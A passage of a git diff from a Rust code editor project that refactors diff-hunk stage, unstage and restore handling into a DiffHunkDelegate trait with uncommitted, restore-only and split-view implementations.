+        if hunks.is_empty() || editor.read_only(cx) {
+            return;
+        }
+        self.stage_or_unstage(false, hunks.clone(), editor, window, cx);
+        editor.transact(window, cx, |editor, window, cx| {
+            editor.restore_diff_hunks(hunks, cx);
+            let selections = editor
+                .selections
+                .all::<MultiBufferOffset>(&editor.display_snapshot(cx));
+            editor.change_selections(
+                SelectionEffects::no_scroll(),
+                window,
+                cx,
+                |selections_state| {
+                    selections_state.select(selections);
+                },
+            );
+        });
+    }
+
+    fn render_hunk_controls(
+        &self,
+        row: u32,
+        status: &DiffHunkStatus,
+        hunk_range: Range<Anchor>,
+        is_created_file: bool,
+        line_height: Pixels,
+        editor: &Entity<Editor>,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> AnyElement;
+
+    fn render_hunk_as_staged(&self, status: &DiffHunkStatus, _cx: &App) -> bool {
+        !status.has_secondary_hunk()
+    }
+}
+
+pub struct UncommittedDiffHunkDelegate;
+
+impl DiffHunkDelegate for UncommittedDiffHunkDelegate {
+    fn toggle(
+        &self,
+        hunks: Vec<ResolvedDiffHunks>,
+        editor: &mut Editor,
+        window: &mut Window,
+        cx: &mut Context<Editor>,
+    ) {
+        let stage = hunks
+            .iter()
+            .flat_map(|hunks| hunks.hunks.iter())
+            .any(|hunk| hunk.status.has_secondary_hunk());
+        self.stage_or_unstage(stage, hunks, editor, window, cx);
+    }
+
+    fn stage_or_unstage(
+        &self,
+        stage: bool,
+        hunks: Vec<ResolvedDiffHunks>,
+        editor: &mut Editor,
+        _window: &mut Window,
+        cx: &mut Context<Editor>,
+    ) {
+        let Some(project) = editor.project() else {
+            return;
+        };
+        for hunks in hunks {
+            let Some(buffer) = hunks.buffer else {
+                continue;
+            };
+            let ranges = hunks
+                .hunks
+                .into_iter()
+                .map(|hunk| hunk.buffer_range)
+                .collect::<Vec<_>>();
+            if ranges.is_empty() {
+                continue;
+            }
+            let secondary_diff = hunks.diff.read(cx).secondary_diff();
+            project
+                .update(cx, |project, cx| {
+                    if stage {
+                        let Some(secondary_diff) = secondary_diff else {
+                            return Err(anyhow::anyhow!("diff has no unstaged secondary"));
+                        };
+                        project.stage_hunks(buffer, secondary_diff, ranges, cx)
+                    } else {
+                        project.unstage_uncommitted_hunks(buffer, hunks.diff, ranges, cx)
+                    }
+                })
+                .log_err();
+        }
+    }
+
+    fn render_hunk_controls(
+        &self,
+        row: u32,
+        status: &DiffHunkStatus,
+        hunk_range: Range<Anchor>,
+        is_created_file: bool,
+        line_height: Pixels,
+        editor: &Entity<Editor>,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> AnyElement {
+        render_diff_hunk_controls(
+            row,
+            status,
+            hunk_range,
+            is_created_file,
+            line_height,
+            editor,
+            window,
+            cx,
+        )
+    }
+}
+
+pub struct RestoreOnlyDiffHunkDelegate;
+
+impl DiffHunkDelegate for RestoreOnlyDiffHunkDelegate {
+    fn toggle(
+        &self,
+        _hunks: Vec<ResolvedDiffHunks>,
+        _editor: &mut Editor,
+        _window: &mut Window,
+        _cx: &mut Context<Editor>,
+    ) {
+    }
+
+    fn stage_or_unstage(
+        &self,
+        _stage: bool,
+        _hunks: Vec<ResolvedDiffHunks>,
+        _editor: &mut Editor,
+        _window: &mut Window,
+        _cx: &mut Context<Editor>,
+    ) {
+    }
+
+    fn render_hunk_controls(
+        &self,
+        _row: u32,
+        _status: &DiffHunkStatus,
+        _hunk_range: Range<Anchor>,
+        _is_created_file: bool,
+        _line_height: Pixels,
+        _editor: &Entity<Editor>,
+        _window: &mut Window,
+        _cx: &mut App,
+    ) -> AnyElement {
+        gpui::Empty.into_any_element()
+    }
+}
+
+pub struct RestoreOnlyUnstagedDiffHunkDelegate;
+
+impl DiffHunkDelegate for RestoreOnlyUnstagedDiffHunkDelegate {
+    fn toggle(
+        &self,
+        _hunks: Vec<ResolvedDiffHunks>,
+        _editor: &mut Editor,
+        _window: &mut Window,
+        _cx: &mut Context<Editor>,
+    ) {
+    }
+
+    fn stage_or_unstage(
+        &self,
+        _stage: bool,
+        _hunks: Vec<ResolvedDiffHunks>,
+        _editor: &mut Editor,
+        _window: &mut Window,
+        _cx: &mut Context<Editor>,
+    ) {
+    }
+
+    fn render_hunk_controls(
+        &self,
+        _row: u32,
+        _status: &DiffHunkStatus,
+        _hunk_range: Range<Anchor>,
+        _is_created_file: bool,
+        _line_height: Pixels,
+        _editor: &Entity<Editor>,
+        _window: &mut Window,
+        _cx: &mut App,
+    ) -> AnyElement {
+        gpui::Empty.into_any_element()
+    }
+
+    fn render_hunk_as_staged(&self, _status: &DiffHunkStatus, _cx: &App) -> bool {
+        false
+    }
+}
 
 #[derive(Debug, Clone, PartialEq, Eq)]
 pub(super) enum DisplayDiffHunk {
@@ -166,24 +388,115 @@ impl Editor {
         })
     }
 
-    pub fn set_render_diff_hunk_controls(
-        &mut self,
-        render_diff_hunk_controls: RenderDiffHunkControlsFn,
-        cx: &mut Context<Self>,
-    ) {
-        self.render_diff_hunk_controls = render_diff_hunk_controls;
-        cx.notify();
+    fn resolve_diff_hunks(
+        &self,
+        hunks: Vec<MultiBufferDiffHunk>,
+        cx: &App,
+    ) -> Vec<ResolvedDiffHunks> {
+        let multibuffer = self.buffer().read(cx);
+        let chunk_by = hunks.into_iter().chunk_by(|hunk| hunk.buffer_id);
+        let mut resolved = Vec::new();
+
+        for (source_buffer_id, hunks) in &chunk_by {
+            let Some(diff) = multibuffer.diff_for(source_buffer_id) else {
+                continue;
+            };
+            let diff_snapshot = diff.read(cx).snapshot(cx);
+            let main_buffer_id = diff_snapshot.buffer_id();
+            let buffer = multibuffer.buffer(main_buffer_id).or_else(|| {
+                self.project
+                    .as_ref()
+                    .and_then(|project| project.read(cx).buffer_for_id(main_buffer_id, cx))
+            });
+            let mut resolved_hunks = Vec::new();
+
+            for hunk in hunks {
+                if hunk.buffer_id == main_buffer_id {
+                    resolved_hunks.push(ResolvedDiffHunk {
+                        buffer_range: hunk.buffer_range,
+                        diff_base_byte_range: hunk.diff_base_byte_range.start.0
+                            ..hunk.diff_base_byte_range.end.0,
+                        status: hunk.status,
+                    });
+                } else {
+                    let diff_base_byte_range =
+                        hunk.diff_base_byte_range.start.0..hunk.diff_base_byte_range.end.0;
+                    let Some(hunk) = diff_snapshot
+                        .hunks_intersecting_base_text_range(
+                            diff_base_byte_range.clone(),
+                            diff_snapshot.buffer_snapshot(),
+                        )
+                        .find(|hunk| hunk.diff_base_byte_range == diff_base_byte_range)
+                    else {
+                        continue;
+                    };
+                    let kind = if hunk.buffer_range.start == hunk.buffer_range.end {
+                        DiffHunkStatusKind::Deleted
+                    } else if hunk.diff_base_byte_range.is_empty() {
+                        DiffHunkStatusKind::Added
+                    } else {
+                        DiffHunkStatusKind::Modified
+                    };
+                    resolved_hunks.push(ResolvedDiffHunk {
+                        buffer_range: hunk.buffer_range,
+                        diff_base_byte_range: hunk.diff_base_byte_range,
+                        status: DiffHunkStatus {
+                            kind,
+                            secondary: hunk.secondary_status,
+                        },
+                    });
+                }
+            }
+
+            if !resolved_hunks.is_empty() {
+                resolved.push(ResolvedDiffHunks {
+                    diff,
+                    buffer_id: main_buffer_id,
+                    buffer,
+                    hunks: resolved_hunks,
+                });
+            }
+        }
+
+        resolved
+    }
+
+    pub fn diff_hunk_delegate(&self) -> Arc<dyn DiffHunkDelegate> {
+        self.diff_hunk_delegate
+            .clone()
+            .unwrap_or_else(|| Arc::new(UncommittedDiffHunkDelegate))
     }
 
-    /// Make all diff hunks render with the "unstaged" appearance, regardless
-    /// of whether they have a secondary hunk. Intended for views whose diffs
-    /// aren't related to the git index (e.g. agent diffs).
-    pub fn set_render_diff_hunks_as_unstaged(
+    pub fn set_diff_hunk_delegate(
         &mut self,
-        render_as_unstaged: bool,
+        delegate: Option<Arc<dyn DiffHunkDelegate>>,
         cx: &mut Context<Self>,
     ) {
-        self.render_diff_hunks_as_unstaged = render_as_unstaged;
+        let had_delegate = self.diff_hunk_delegate.is_some();
+        let has_delegate = delegate.is_some();
+        self.diff_hunk_delegate = delegate;
+
+        if !had_delegate && has_delegate {
+            self.load_diff_task.take();
+        } else if had_delegate && !has_delegate {
+            self.buffer.update(cx, |buffer, cx| {
+                buffer.set_all_diff_hunks_collapsed(cx);
+            });
+
+            if let Some(project) = self.project.clone() {
+                self.load_diff_task = Some(
+                    update_uncommitted_diff_for_buffer(
+                        cx.entity(),
+                        &project,
+                        self.buffer.read(cx).all_buffers(),
+                        self.buffer.clone(),
+                        cx,
+                    )
+                    .shared(),
+                );
+            }
+        }
+
         cx.notify();
     }
 
@@ -265,33 +578,6 @@ impl Editor {
         cx.notify();
     }
 
-    pub fn start_temporary_diff_override(&mut self) {
-        self.load_diff_task.take();
-        self.temporary_diff_override = true;
-    }
-
-    pub fn end_temporary_diff_override(&mut self, cx: &mut Context<Self>) {
-        self.temporary_diff_override = false;
-        self.render_diff_hunks_as_unstaged = false;
-        self.set_render_diff_hunk_controls(Arc::new(render_diff_hunk_controls), cx);
-        self.buffer.update(cx, |buffer, cx| {
-            buffer.set_all_diff_hunks_collapsed(cx);
-        });
-
-        if let Some(project) = self.project.clone() {
-            self.load_diff_task = Some(
-                update_uncommitted_diff_for_buffer(
-                    cx.entity(),
-                    &project,
-                    self.buffer.read(cx).all_buffers(),
-                    self.buffer.clone(),
-                    cx,
-                )
-                .shared(),
-            );
-        }
-    }
-
     /// Hides the inline blame popover element, in case it's already visible, or
     /// interrupts the task meant to show it, in case the task is running.
     ///
@@ -764,31 +1050,48 @@ impl Editor {
         );
     }
 
-    pub(super) fn restore_diff_hunks(&self, hunks: Vec<MultiBufferDiffHunk>, cx: &mut App) {
-        let mut revert_changes = HashMap::default();
-        let chunk_by = hunks.into_iter().chunk_by(|hunk| hunk.buffer_id);
-        for (buffer_id, hunks) in &chunk_by {
-            let hunks = hunks.collect::<Vec<_>>();
-            for hunk in &hunks {
-                self.prepare_restore_change(&mut revert_changes, hunk, cx);
-            }
-            self.do_stage_or_unstage(false, buffer_id, hunks.into_iter(), cx);
-        }
-        if !revert_changes.is_empty() {
-            self.buffer().update(cx, |multi_buffer, cx| {
-                for (buffer_id, changes) in revert_changes {
-                    if let Some(buffer) = multi_buffer.buffer(buffer_id) {
-                        buffer.update(cx, |buffer, cx| {
-                            buffer.edit(
-                                changes
-                                    .into_iter()
-                                    .map(|(range, text)| (range, text.to_string())),
-                                None,
-                                cx,
-                            );
-                        });
+    pub(super) fn restore_diff_hunks(
+        &mut self,
+        hunks: Vec<ResolvedDiffHunks>,
+        cx: &mut Context<Self>,
+    ) {
+        let mut revert_changes = Vec::new();
+        for hunks in hunks {
+            let Some(buffer) = hunks.buffer else {
+                continue;
+            };
+            let diff_snapshot = hunks.diff.read(cx).snapshot(cx);
+            let changes = hunks
+                .hunks
+                .into_iter()
+                .filter_map(|hunk| {
+                    if hunk.diff_base_byte_range == (0..0)
+                        && hunk.buffer_range.start.is_min()
+                        && hunk.buffer_range.end.is_max()
+                    {
+                        return None;
                     }
-                }
+                    let original_text = diff_snapshot
+                        .base_text()
+                        .as_rope()
+                        .slice(hunk.diff_base_byte_range.start..hunk.diff_base_byte_range.end);
+                    Some((hunk.buffer_range, original_text))
+                })
+                .collect::<Vec<_>>();
+            if !changes.is_empty() {
+                revert_changes.push((buffer, changes));
+            }
+        }
+
+        for (buffer, changes) in revert_changes {
+            buffer.update(cx, |buffer, cx| {
+                buffer.edit(
+                    changes
+                        .into_iter()
+                        .map(|(range, text)| (range, text.to_string())),
+                    None,
+                    cx,
+                );
             });
         }
     }
@@ -1421,18 +1724,25 @@ impl Editor {
     pub(super) fn toggle_staged_selected_diff_hunks(
         &mut self,
         _: &::git::ToggleStaged,
-        _: &mut Window,
+        window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        let snapshot = self.buffer.read(cx).snapshot(cx);
         let ranges: Vec<_> = self
             .selections
             .disjoint_anchors()
             .iter()
             .map(|s| s.range())
             .collect();
-        let stage = self.has_stageable_diff_hunks_in_ranges(&ranges, &snapshot);
-        self.stage_or_unstage_diff_hunks(stage, ranges, cx);
+        let task = self.save_buffers_for_ranges_if_needed(&ranges, cx);
+        cx.spawn_in(window, async move |this, cx| {
+            task.await?;
+            this.update_in(cx, |this, window, cx| {
+                let snapshot = this.buffer.read(cx).snapshot(cx);
+                let hunks = this.diff_hunks_in_ranges(&ranges, &snapshot).collect();
+                this.apply_toggle(hunks, window, cx);
+            })
+        })
+        .detach_and_log_err(cx);
     }
 
     pub(super) fn stage_and_next(
@@ -1453,42 +1763,47 @@ impl Editor {
         self.do_stage_or_unstage_and_next(false, window, cx);
     }
 
-    pub(super) fn do_stage_or_unstage(
-        &self,
+    pub fn apply_toggle(
+        &mut self,
+        hunks: Vec<MultiBufferDiffHunk>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let hunks = self.resolve_diff_hunks(hunks, cx);
+        if hunks.is_empty() {
+            return;
+        }
+        let delegate = self.diff_hunk_delegate();
+        delegate.toggle(hunks, self, window, cx);
+    }
+
+    pub fn apply_stage_or_unstage(
+        &mut self,
         stage: bool,
-        buffer_id: BufferId,
-        hunks: impl Iterator<Item = MultiBufferDiffHunk>,
-        cx: &mut App,
-    ) -> Option<()> {
-        let project = self.project()?;
-        let buffer = project.read(cx).buffer_for_id(buffer_id, cx)?;
-        let diff = self.buffer.read(cx).diff_for(buffer_id)?;
-        let buffer_snapshot = buffer.read(cx).snapshot();
-        let file_exists = buffer_snapshot
-            .file()
-            .is_some_and(|file| file.disk_state().exists());
-        diff.update(cx, |diff, cx| {
-            diff.stage_or_unstage_hunks(
-                stage,
-                &hunks
-                    .map(|hunk| buffer_diff::DiffHunk {
-                        buffer_range: hunk.buffer_range,
-                        // We don't need to pass in word diffs here because they're only used for rendering and
-                        // this function changes internal state
-                        base_word_diffs: Vec::default(),
-                        buffer_word_diffs: Vec::default(),
-                        diff_base_byte_range: hunk.diff_base_byte_range.start.0
-                            ..hunk.diff_base_byte_range.end.0,
-                        secondary_status: hunk.status.secondary,
-                        range: Point::zero()..Point::zero(), // unused
-                    })
-                    .collect::<Vec<_>>(),
-                &buffer_snapshot,
-                file_exists,
-                cx,
-            )
-        });
-        None
+        hunks: Vec<MultiBufferDiffHunk>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let hunks = self.resolve_diff_hunks(hunks, cx);
+        if hunks.is_empty() {
+            return;
+        }
+        let delegate = self.diff_hunk_delegate();
+        delegate.stage_or_unstage(stage, hunks, self, window, cx);
+    }
+
+    pub fn apply_restore(
+        &mut self,
+        hunks: Vec<MultiBufferDiffHunk>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let hunks = self.resolve_diff_hunks(hunks, cx);
+        if hunks.is_empty() {
+            return;
+        }
+        let delegate = self.diff_hunk_delegate();
+        delegate.restore(hunks, self, window, cx);
     }
 
     pub(super) fn clear_expanded_diff_hunks(&mut self, cx: &mut Context<Self>) -> bool {
@@ -1776,31 +2091,20 @@ impl Editor {
         }
     }
 
-    fn stage_or_unstage_diff_hunks(
+    pub fn stage_or_unstage_diff_hunks(
         &mut self,
         stage: bool,
         ranges: Vec<Range<Anchor>>,
+        window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        if self.delegate_stage_and_restore {
-            let snapshot = self.buffer.read(cx).snapshot(cx);
-            let hunks: Vec<_> = self.diff_hunks_in_ranges(&ranges, &snapshot).collect();
-            if !hunks.is_empty() {
-                cx.emit(EditorEvent::StageOrUnstageRequested { stage, hunks });
-            }
-            return;
-        }
         let task = self.save_buffers_for_ranges_if_needed(&ranges, cx);
-        cx.spawn(async move |this, cx| {
+        cx.spawn_in(window, async move |this, cx| {
             task.await?;
-            this.update(cx, |this, cx| {
+            this.update_in(cx, |this, window, cx| {
                 let snapshot = this.buffer.read(cx).snapshot(cx);
-                let chunk_by = this
-                    .diff_hunks_in_ranges(&ranges, &snapshot)
-                    .chunk_by(|hunk| hunk.buffer_id);
-                for (buffer_id, hunks) in &chunk_by {
-                    this.do_stage_or_unstage(stage, buffer_id, hunks, cx);
-                }
+                let hunks = this.diff_hunks_in_ranges(&ranges, &snapshot).collect();
+                this.apply_stage_or_unstage(stage, hunks, window, cx);
             })
         })
         .detach_and_log_err(cx);
@@ -1847,66 +2151,8 @@ impl Editor {
         window: &mut Window,
         cx: &mut Context<Editor>,
     ) {
-        if self.delegate_stage_and_restore {
-            let hunks = self.snapshot(window, cx).hunks_for_ranges(ranges);
-            if !hunks.is_empty() {
-                cx.emit(EditorEvent::RestoreRequested { hunks });
-            }
-            return;
-        }
         let hunks = self.snapshot(window, cx).hunks_for_ranges(ranges);
-        self.transact(window, cx, |editor, window, cx| {
-            editor.restore_diff_hunks(hunks, cx);
-            let selections = editor
-                .selections
-                .all::<MultiBufferOffset>(&editor.display_snapshot(cx));
-            editor.change_selections(SelectionEffects::no_scroll(), window, cx, |s| {
-                s.select(selections);
-            });
-        });
-    }
-
-    fn has_stageable_diff_hunks_in_ranges(
-        &self,
-        ranges: &[Range<Anchor>],
-        snapshot: &MultiBufferSnapshot,
-    ) -> bool {
-        let mut hunks = self.diff_hunks_in_ranges(ranges, snapshot);
-        hunks.any(|hunk| hunk.status().has_secondary_hunk())
-    }
-
-    fn prepare_restore_change(
-        &self,
-        revert_changes: &mut HashMap<BufferId, Vec<(Range<text::Anchor>, Rope)>>,
-        hunk: &MultiBufferDiffHunk,
-        cx: &mut App,
-    ) -> Option<()> {
-        if hunk.is_created_file() {
-            return None;
-        }
-        let multi_buffer = self.buffer.read(cx);
-        let multi_buffer_snapshot = multi_buffer.snapshot(cx);
-        let diff_snapshot = multi_buffer_snapshot.diff_for_buffer_id(hunk.buffer_id)?;
-        let original_text = diff_snapshot
-            .base_text()
-            .as_rope()
-            .slice(hunk.diff_base_byte_range.start.0..hunk.diff_base_byte_range.end.0);
-        let buffer = multi_buffer.buffer(hunk.buffer_id)?;
-        let buffer = buffer.read(cx);
-        let buffer_snapshot = buffer.snapshot();
-        let buffer_revert_changes = revert_changes.entry(buffer.remote_id()).or_default();
-        if let Err(i) = buffer_revert_changes.binary_search_by(|probe| {
-            probe
-                .0
-                .start
-                .cmp(&hunk.buffer_range.start, &buffer_snapshot)
-                .then(probe.0.end.cmp(&hunk.buffer_range.end, &buffer_snapshot))
-        }) {
-            buffer_revert_changes.insert(i, (hunk.buffer_range.clone(), original_text));
-            Some(())
-        } else {
-            None
-        }
+        self.apply_restore(hunks, window, cx);
     }
 
     fn save_buffers_for_ranges_if_needed(
@@ -1949,11 +2195,11 @@ impl Editor {
         let ranges = self.selections.disjoint_anchor_ranges().collect::<Vec<_>>();
 
         if ranges.iter().any(|range| range.start != range.end) {
-            self.stage_or_unstage_diff_hunks(stage, ranges, cx);
+            self.stage_or_unstage_diff_hunks(stage, ranges, window, cx);
             return;
         }
 
-        self.stage_or_unstage_diff_hunks(stage, ranges, cx);
+        self.stage_or_unstage_diff_hunks(stage, ranges, window, cx);
 
         let all_diff_hunks_expanded = self.buffer().read(cx).all_diff_hunks_expanded();
         let wrap_around = !all_diff_hunks_expanded;
@@ -2678,7 +2924,7 @@ pub fn set_blame_renderer(renderer: impl BlameRenderer + 'static, cx: &mut App)
     cx.set_global(GlobalBlameRenderer(Arc::new(renderer)));
 }
 
-pub(super) fn render_diff_hunk_controls(
+pub fn render_diff_hunk_controls(
     row: u32,
     status: &DiffHunkStatus,
     hunk_range: Range<Anchor>,
@@ -2723,11 +2969,12 @@ pub(super) fn render_diff_hunk_controls(
                     })
                     .on_click({
                         let editor = editor.clone();
-                        move |_event, _window, cx| {
+                        move |_event, window, cx| {
                             editor.update(cx, |editor, cx| {
                                 editor.stage_or_unstage_diff_hunks(
                                     true,
                                     vec![hunk_range.start..hunk_range.start],
+                                    window,
                                     cx,
                                 );
                             });
@@ -2749,11 +2996,12 @@ pub(super) fn render_diff_hunk_controls(
                     })
                     .on_click({
                         let editor = editor.clone();
-                        move |_event, _window, cx| {
+                        move |_event, window, cx| {
                             editor.update(cx, |editor, cx| {
                                 editor.stage_or_unstage_diff_hunks(
                                     false,
                                     vec![hunk_range.start..hunk_range.start],
+                                    window,
                                     cx,
                                 );
                             });
@@ -2880,7 +3128,7 @@ pub(super) fn update_uncommitted_diff_for_buffer(
     });
     cx.spawn(async move |cx| {
         let diffs = future::join_all(tasks).await;
-        if editor.read_with(cx, |editor, _cx| editor.temporary_diff_override) {
+        if editor.read_with(cx, |editor, _cx| editor.diff_hunk_delegate.is_some()) {
             return;
         }
 
diff --git a/crates/editor/src/split.rs b/crates/editor/src/split.rs
index dd34391e195921..93a6f96a443124 100644
--- a/crates/editor/src/split.rs
+++ b/crates/editor/src/split.rs
@@ -3,19 +3,19 @@ use std::{
     sync::Arc,
 };
 
-use buffer_diff::{BufferDiff, BufferDiffSnapshot};
+use buffer_diff::{BufferDiff, BufferDiffSnapshot, DiffHunkStatus};
 use collections::HashMap;
 
 use fs::Fs;
 use gpui::{
-    Action, Entity, EventEmitter, Focusable, Font, Pixels, Subscription, WeakEntity, canvas,
-    prelude::*,
+    Action, AnyElement, Entity, EventEmitter, Focusable, Font, Pixels, Subscription, WeakEntity,
+    canvas, prelude::*,
 };
-use itertools::Itertools;
+
 use language::{Buffer, Capability, HighlightedText};
 use multi_buffer::{
     Anchor, AnchorRangeExt as _, BufferOffset, ExcerptRange, ExpandExcerptDirection, MultiBuffer,
-    MultiBufferDiffHunk, MultiBufferPoint, MultiBufferSnapshot, PathKey,
+    MultiBufferPoint, MultiBufferSnapshot, PathKey,
 };
 use project::Project;
 use rope::Point;
@@ -23,6 +23,7 @@ use settings::{DiffViewStyle, SeedQuerySetting, Settings, SettingsStore, update_
 use text::{Bias, BufferId, OffsetRangeExt as _, Patch, ToPoint as _};
 
 use ui::{Toggleable as _, Tooltip, prelude::*, render_modifiers};
+use util::ResultExt as _;
 
 use crate::{
     display_map::CompanionExcerptPatch,
@@ -36,7 +37,8 @@ use workspace::{
 };
 
 use crate::{
-    Autoscroll, Editor, EditorEvent, EditorSettings, RenderDiffHunkControlsFn, ToggleSoftWrap,
+    Autoscroll, DiffHunkDelegate, Editor, EditorEvent, EditorSettings, ResolvedDiffHunks,
+    ToggleSoftWrap, UncommittedDiffHunkDelegate,
     actions::{DisableBreakpoint, EditLogBreakpoint, EnableBreakpoint, ToggleBreakpoint},
     display_map::Companion,
 };
@@ -149,32 +151,97 @@ fn translate_lhs_selections_to_rhs(
     translated
 }
 
-fn translate_lhs_hunks_to_rhs(
-    lhs_hunks: &[MultiBufferDiffHunk],
-    splittable: &SplittableEditor,
-    cx: &App,
-) -> Vec<MultiBufferDiffHunk> {
-    let Some(lhs) = &splittable.lhs else {
-        return vec![];
-    };
-    let lhs_snapshot = lhs.multibuffer.read(cx).snapshot(cx);
-    let rhs_snapshot = splittable.rhs_multibuffer.read(cx).snapshot(cx);
-    let rhs_hunks: Vec<MultiBufferDiffHunk> = rhs_snapshot.diff_hunks().collect();
+struct SplitLhsDiffHunkDelegate {
+    splittable: WeakEntity<SplittableEditor>,
+}
 
-    let mut translated = Vec::new();
-    for lhs_hunk in lhs_hunks {
-        let Some(diff) = lhs_snapshot.diff_for_buffer_id(lhs_hunk.buffer_id) else {
-            continue;
+impl DiffHunkDelegate for SplitLhsDiffHunkDelegate {
+    fn toggle(
+        &self,
+        hunks: Vec<ResolvedDiffHunks>,
+        _editor: &mut Editor,
+        window: &mut Window,
+        cx: &mut Context<Editor>,
+    ) {
+        self.splittable
+            .update(cx, |splittable, cx| {
+                splittable.rhs_editor.update(cx, |editor, cx| {
+                    let delegate = editor.diff_hunk_delegate();
+                    delegate.toggle(hunks, editor, window, cx);
+                });
+            })
+            .log_err();
+    }
+
+    fn stage_or_unstage(
+        &self,
+        stage: bool,
+        hunks: Vec<ResolvedDiffHunks>,
+        _editor: &mut Editor,
+        window: &mut Window,
+        cx: &mut Context<Editor>,
+    ) {
+        self.splittable
+            .update(cx, |splittable, cx| {
+                splittable.rhs_editor.update(cx, |editor, cx| {
+                    let delegate = editor.diff_hunk_delegate();
+                    delegate.stage_or_unstage(stage, hunks, editor, window, cx);
+                });
+            })
+            .log_err();
+    }
+
+    fn restore(
+        &self,
+        hunks: Vec<ResolvedDiffHunks>,
+        _editor: &mut Editor,
+        window: &mut Window,
+        cx: &mut Context<Editor>,
+    ) {
+        self.splittable
+            .update(cx, |splittable, cx| {
+                splittable.rhs_editor.update(cx, |editor, cx| {
+                    let delegate = editor.diff_hunk_delegate();
+                    delegate.restore(hunks, editor, window, cx);
+                });
+            })
+            .log_err();
+    }
+
+    fn render_hunk_controls(
+        &self,
+        row: u32,
+        status: &DiffHunkStatus,
+        hunk_range: Range<Anchor>,
+        is_created_file: bool,
+        line_height: Pixels,
+        editor: &Entity<Editor>,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> AnyElement {
+        let Some(splittable) = self.splittable.upgrade() else {
+            return gpui::Empty.into_any_element();
         };
-        let rhs_buffer_id = diff.buffer_id();
-        if let Some(rhs_hunk) = rhs_hunks.iter().find(|rhs_hunk| {
-            rhs_hunk.buffer_id == rhs_buffer_id
-                && rhs_hunk.diff_base_byte_range == lhs_hunk.diff_base_byte_range
-        }) {
-            translated.push(rhs_hunk.clone());
-        }
+        let delegate = splittable.read(cx).rhs_editor.read(cx).diff_hunk_delegate();
+        delegate.render_hunk_controls(
+            row,
+            status,
+            hunk_range,
+            is_created_file,
+            line_height,
+            editor,
+            window,
+            cx,
+        )
+    }
+
+    fn render_hunk_as_staged(&self, status: &DiffHunkStatus, cx: &App) -> bool {
+        let Some(splittable) = self.splittable.upgrade() else {
+            return false;
+        };
+        let delegate = splittable.read(cx).rhs_editor.read(cx).diff_hunk_delegate();
+        delegate.render_hunk_as_staged(status, cx)
     }
-    translated
 }
 
 fn patches_for_range<F>(
@@ -569,28 +636,13 @@ impl SplittableEditor {
         self.lhs.is_some()
     }
 
-    pub fn set_render_diff_hunk_controls(
+    pub fn set_diff_hunk_delegate(
         &self,
-        render_diff_hunk_controls: RenderDiffHunkControlsFn,
+        delegate: Option<Arc<dyn DiffHunkDelegate>>,
         cx: &mut Context<Self>,
     ) {
-        self.update_editors(cx, |editor, cx| {
-            editor.set_render_diff_hunk_controls(render_diff_hunk_controls.clone(), cx);
-        });
-    }
-
-    pub fn disable_diff_hunk_controls(&self, cx: &mut Context<Self>) {
-        let empty_controls = Arc::new(|_, _: &_, _, _, _, _: &_, _: &mut _, _: &mut _| {
-            gpui::Empty.into_any_element()
-        });
-        self.update_editors(cx, |editor, cx| {
-            editor.set_render_diff_hunk_controls(empty_controls.clone(), cx);
-        });
-    }
-
-    pub fn set_render_diff_hunks_as_unstaged(&self, cx: &mut Context<Self>) {
-        self.update_editors(cx, |editor, cx| {
-            editor.set_render_diff_hunks_as_unstaged(true, cx);
+        self.rhs_editor.update(cx, |editor, cx| {
+            editor.set_diff_hunk_delegate(delegate, cx);
         });
     }
 
@@ -631,7 +683,7 @@ impl SplittableEditor {
             editor.disable_inline_diagnostics();
             editor.disable_mouse_wheel_zoom();
             editor.set_minimap_visibility(crate::MinimapVisibility::Disabled, window, cx);
-            editor.start_temporary_diff_override();
+            editor.set_diff_hunk_delegate(Some(Arc::new(UncommittedDiffHunkDelegate)), cx);
             editor
         });
         // TODO(split-diff) we might want to tag editor events with whether they came from rhs/lhs
@@ -729,15 +781,16 @@ impl SplittableEditor {
             multibuffer
         });
 
-        let render_diff_hunk_controls = self.rhs_editor.read(cx).render_diff_hunk_controls.clone();
-        let render_diff_hunks_as_unstaged = self.rhs_editor.read(cx).render_diff_hunks_as_unstaged;
+        let splittable = cx.weak_entity();
         let lhs_editor = cx.new(|cx| {
             let mut editor =
                 Editor::for_multibuffer(lhs_multibuffer.clone(), Some(project.clone()), window, cx);
-            editor.set_render_diff_hunks_as_unstaged(render_diff_hunks_as_unstaged, cx);
             editor.set_number_deleted_lines(true, cx);
             editor.set_delegate_expand_excerpts(true);
-            editor.set_delegate_stage_and_restore(true);
+            editor.set_diff_hunk_delegate(
+                Some(Arc::new(SplitLhsDiffHunkDelegate { splittable })),
+                cx,
+            );
             editor.set_delegate_open_excerpts(true);
             editor.set_show_vertical_scrollbar(false, cx);
             editor.disable_lsp_data();
@@ -748,10 +801,6 @@ impl SplittableEditor {
             editor
         });
 
-        lhs_editor.update(cx, |editor, cx| {
-            editor.set_render_diff_hunk_controls(render_diff_hunk_controls, cx);
-        });
-
         let mut subscriptions = vec![cx.subscribe_in(
             &lhs_editor,
             window,
@@ -782,30 +831,7 @@ impl SplittableEditor {
                         this.expand_excerpts(rhs_anchors.into_iter(), *lines, *direction, cx);
                     }
                 }
-                EditorEvent::StageOrUnstageRequested { stage, hunks } => {
-                    if this.lhs.is_some() {
-                        let translated = translate_lhs_hunks_to_rhs(hunks, this, cx);
-                        if !translated.is_empty() {
-                            let stage = *stage;
-                            this.rhs_editor.update(cx, |editor, cx| {
-                                let chunk_by = translated.into_iter().chunk_by(|h| h.buffer_id);
-                                for (buffer_id, hunks) in &chunk_by {
-                                    editor.do_stage_or_unstage(stage, buffer_id, hunks, cx);
-                                }
-                            });
-                        }
-                    }
-                }
-                EditorEvent::RestoreRequested { hunks } => {
-                    if this.lhs.is_some() {
-                        let translated = translate_lhs_hunks_to_rhs(hunks, this, cx);
-                        if !translated.is_empty() {
-                            this.rhs_editor.update(cx, |editor, cx| {
-                                editor.restore_diff_hunks(translated, cx);
-                            });
-                        }
-                    }
-                }
+
                 EditorEvent::OpenExcerptsRequested {
                     selections_by_buffer,
                     split,
diff --git a/crates/git_ui/src/branch_diff.rs b/crates/git_ui/src/branch_diff.rs
new file mode 100644
index 00000000000000..068d8e9af19734
--- /dev/null
